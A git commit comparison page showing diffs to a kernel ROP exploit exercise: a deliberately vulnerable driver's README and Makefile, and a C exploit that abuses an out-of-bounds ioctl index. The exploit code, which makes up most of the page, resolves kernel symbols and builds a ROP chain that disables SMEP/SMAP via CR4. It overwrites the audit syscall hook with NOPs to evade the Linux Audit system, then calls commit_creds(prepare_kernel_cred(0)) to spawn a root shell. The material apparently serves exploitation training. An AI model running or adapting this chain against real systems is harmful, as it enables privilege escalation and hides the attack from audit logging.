Compare commits

...

3 Commits

@ -3,6 +3,7 @@ obj-m += drv.o
CC=gcc
ccflags-y += "-g"
ccflags-y += "-O0"
ccflags-y += "-ggdb"
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

@ -5,6 +5,8 @@ privilege escalation ROP (Return Oriented Programming) chain in practice. The
article URL for Part 1 is available at
<https://cyseclabs.com/page?n=17012016>.
[![asciicast](https://asciinema.org/a/2yy003e6xd0s4qrfcfkurzmge.png)](https://asciinema.org/a/2yy003e6xd0s4qrfcfkurzmge)
The driver module is vulnerable to OOB access and allows arbitrary code
execution. An arbitrary offset can be passed from user space via the provided
ioctl(). This offset is then used as the index for the 'ops' array to obtain

@ -1,10 +1,20 @@
/**
* ROP exploit for drv.c kernel module
*
* Tested in CentOS Linux release 7.2.1511 (Core):
* Linux 3.10.0-327.36.1.el7.x86_64
* qemu 2.5.0 / i7-4500U
*
* Compile:
* gcc rop_exploit.c -O2 -o rop_exploit
*
* Email: vnik@cyseclabs.com
* Vitaly Nikolenko
* Email: andrey.arapov@nixaid.com
* Andrey Arapov
*
* Based on Vitaly Nikolenko's work:
* https://github.com/vnik5287/kernel_rop/
*
* Additional thanks to spender!
*/
#define _GNU_SOURCE
@ -18,6 +28,7 @@
#include <errno.h>
#include <sys/mman.h>
#include <assert.h>
#include <sys/utsname.h>
#include "drv.h"
#define DEVICE_PATH "/dev/vulndrv"
@ -26,13 +37,20 @@ unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" );
: "=r" (user_cs),
"=r" (user_ss),
"=r" (user_rflags) : : "memory");
}
void shell(void) {
@ -42,6 +60,79 @@ void shell(void) {
exit(0);
}
int __attribute__((regparm(3))) get_root()
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
void usage(char *bin_name) {
fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name);
}
@ -58,44 +149,125 @@ int main(int argc, char *argv[])
return -1;
}
// commit_creds = (_commit_creds) 0xffffffff810ac980UL;
// prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810acc90UL;
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
/*
* req.offset
* when xchg_esp_eax_ret_N_rop_gadget % 8 == 0,
* req.offset = ( (1 << 64) + ((xchg_esp_eax_ret_N_rop_gadget - base_addr)/8) )
*/
req.offset = strtoul(argv[1], NULL, 10);
base_addr = strtoul(argv[2], NULL, 16);
base_addr = strtoul(argv[2], NULL, 16); // address of ops driver structure
printf("array base address = 0x%lx\n", base_addr);
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
printf("array base address = 0x%lx\n", base_addr);
stack_addr = (base_addr + (req.offset * 8)) & 0xffffffff;
fprintf(stdout, "stack address = 0x%lx\n", stack_addr);
/*
* allocate space in memory where the fake_stack will be stored.
*/
mmap_addr = stack_addr & 0xffff0000; // clear last 4 hex's
mapped = mmap((void*)mmap_addr, 0x20000,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
assert(mapped == (void*)mmap_addr);
mmap_addr = stack_addr & 0xffff0000;
assert((mapped = mmap((void*)mmap_addr, 0x20000, 7, 0x32, 0, 0)) == (void*)mmap_addr);
assert((temp_stack = mmap((void*)0x30000000, 0x10000000, 7, 0x32, 0, 0)) == (void*)0x30000000);
temp_stack = mmap((void*)0x30000000, 0x10000000,
PROT_EXEC|PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
assert(temp_stack == (void*)0x30000000);
save_state();
save_state(); // this state will be used when returning back to user-space from kernel-space
// fake_stack begins here
fake_stack = (unsigned long *)(stack_addr);
*fake_stack ++= 0xffffffff810c9ebdUL; /* pop %rdi; ret */
*fake_stack ++= 0xffffffff8100359fUL; // : nop ; ret
/*
* In reality 0x14ff was 0x9d57:
* $ grep 0x14ff $(uname -r).gadgets
* 0xffffffff810e03f8: xchg eax, esp ; ret 0x14ff
*
* $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore
* (gdb) x/2xi 0xffffffff810e03f8
* 0xffffffff810e03f8: xchg esp,eax
* 0xffffffff810e03f9: ret 0x9d57
*/
// Update fake_stack's pointer
fake_stack = (unsigned long *)(stack_addr + 0x9d57 + 8);
fake_stack = (unsigned long *)(stack_addr + 0x11e8 + 8);
/*
* Disable SMEP and SMAP (20 and 21st bit of CR4 respectively)
* CR4 should be => $CR4 % 0x300000
*
* $ cat 3.10.0-327.28.3.el7.x86_64.rop |grep -E ': pop rdi ; ret$|: mov cr4, rdi'
* 0xffffffff8100328d : mov cr4, rdi ; pop rbp ; ret
* 0xffffffff8107c2c4 : pop rdi ; ret
*
*/
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
*fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP
*fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy
*fake_stack ++= 0x0UL; /* NULL */
*fake_stack ++= 0xffffffff81095430UL; /* prepare_kernel_cred() */
/*
* Circumvent Linux Audit system.
* bypass syscall audit configuration without fully disabling Linux Audit system.
*
* /proc/kallsyms:
* ffffffff81646acf t auditsys
* ffffffff8110b960 T __audit_syscall_entry
*
* gdb> x/1xi 0xffffffff81646acf+15
* 0xffffffff81646ade: call 0xffffffff8110b960 <-- auditsys+15 calls __audit_syscall_entry
*
* NOTE: This will not work if kernel was built witth enabled CONFIG_DEBUG_RODATA (Write protect kernel read-only data structures)
*/
*fake_stack ++= 0xffffffff810dc796UL; /* pop %rdx; ret */
//*fake_stack ++= 0xffffffff81095190UL; /* commit_creds() */
*fake_stack ++= 0xffffffff81095196UL; // commit_creds() + 2 instructions
*fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret
*fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry)
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
*fake_stack ++= 0xffffffff81646adeUL; // rdi is: auditsys+15
*fake_stack ++= 0xffffffff812fba16UL; // mov qword ptr [rdi], rdx ; ret (overwrite)
*fake_stack ++= 0xffffffff81036b70UL; /* mov %rax, %rdi; call %rdx */
*fake_stack ++= 0xffffffff81052804UL; // swapgs ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
/*
* To switch our process's owner to root, it is enough to execute:
* commit_creds(prepare_kernel_cred(0)) syscalls
* rdx(rax(0))
*
* You can also try using get_root function instead of a bare ROP
*/
*fake_stack ++= 0xffffffff81053056UL; /* iretq */
*fake_stack ++= (unsigned long)shell; /* spawn a shell */
*fake_stack ++= user_cs; /* saved CS */
*fake_stack ++= user_rflags; /* saved EFLAGS */
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); /* mmaped stack region in user space */
*fake_stack ++= user_ss; /* saved SS */
// *fake_stack ++= (unsigned long)get_root;
*fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret
*fake_stack ++= 0x0UL; // rdi is NULL
*fake_stack ++= 0xffffffff810acc90UL; // prepare_kernel_cred() and $rax points to cred struct
*fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret
// // *fake_stack ++= 0xffffffff810ac980UL; // commit_creds()
*fake_stack ++= 0xffffffff810ac986UL; // commit_creds() + skip first push instruction
*fake_stack ++= 0xffffffff81016d77UL; // mov rdi, rax ; call rdx => calls commit_creds(prepare_kernel_cred(0))
// safely return to user-space from the kernel-space
*fake_stack ++= 0xffffffff81058ef4UL; // swapgs ; pop rbp ; ret
*fake_stack ++= 0xdeadbeefUL; // dummy placeholder
*fake_stack ++= 0xffffffff81059856UL; // iretq
*fake_stack ++= (unsigned long)shell; // spawn a shell
*fake_stack ++= user_cs; // saved CS
*fake_stack ++= user_rflags; // saved EFLAGS
*fake_stack ++= (unsigned long)(temp_stack+0x5000000); // mmaped stack region in user space
*fake_stack ++= user_ss; // saved SS
//map = mmap((void *)..., ..., 3, 0x32, 0, 0);
fd = open(DEVICE_PATH, O_RDONLY);
@ -103,7 +275,13 @@ int main(int argc, char *argv[])
perror("open");
}
/*
* trigger the vulnerable Linux kernel driver now,
* pointing to our fake_stack
*/
ioctl(fd, 0, &req);
return 0;
}
// vim: set list noexpandtab tabstop=4 shiftwidth=4 softtabstop=4

Loading…
Cancel
Save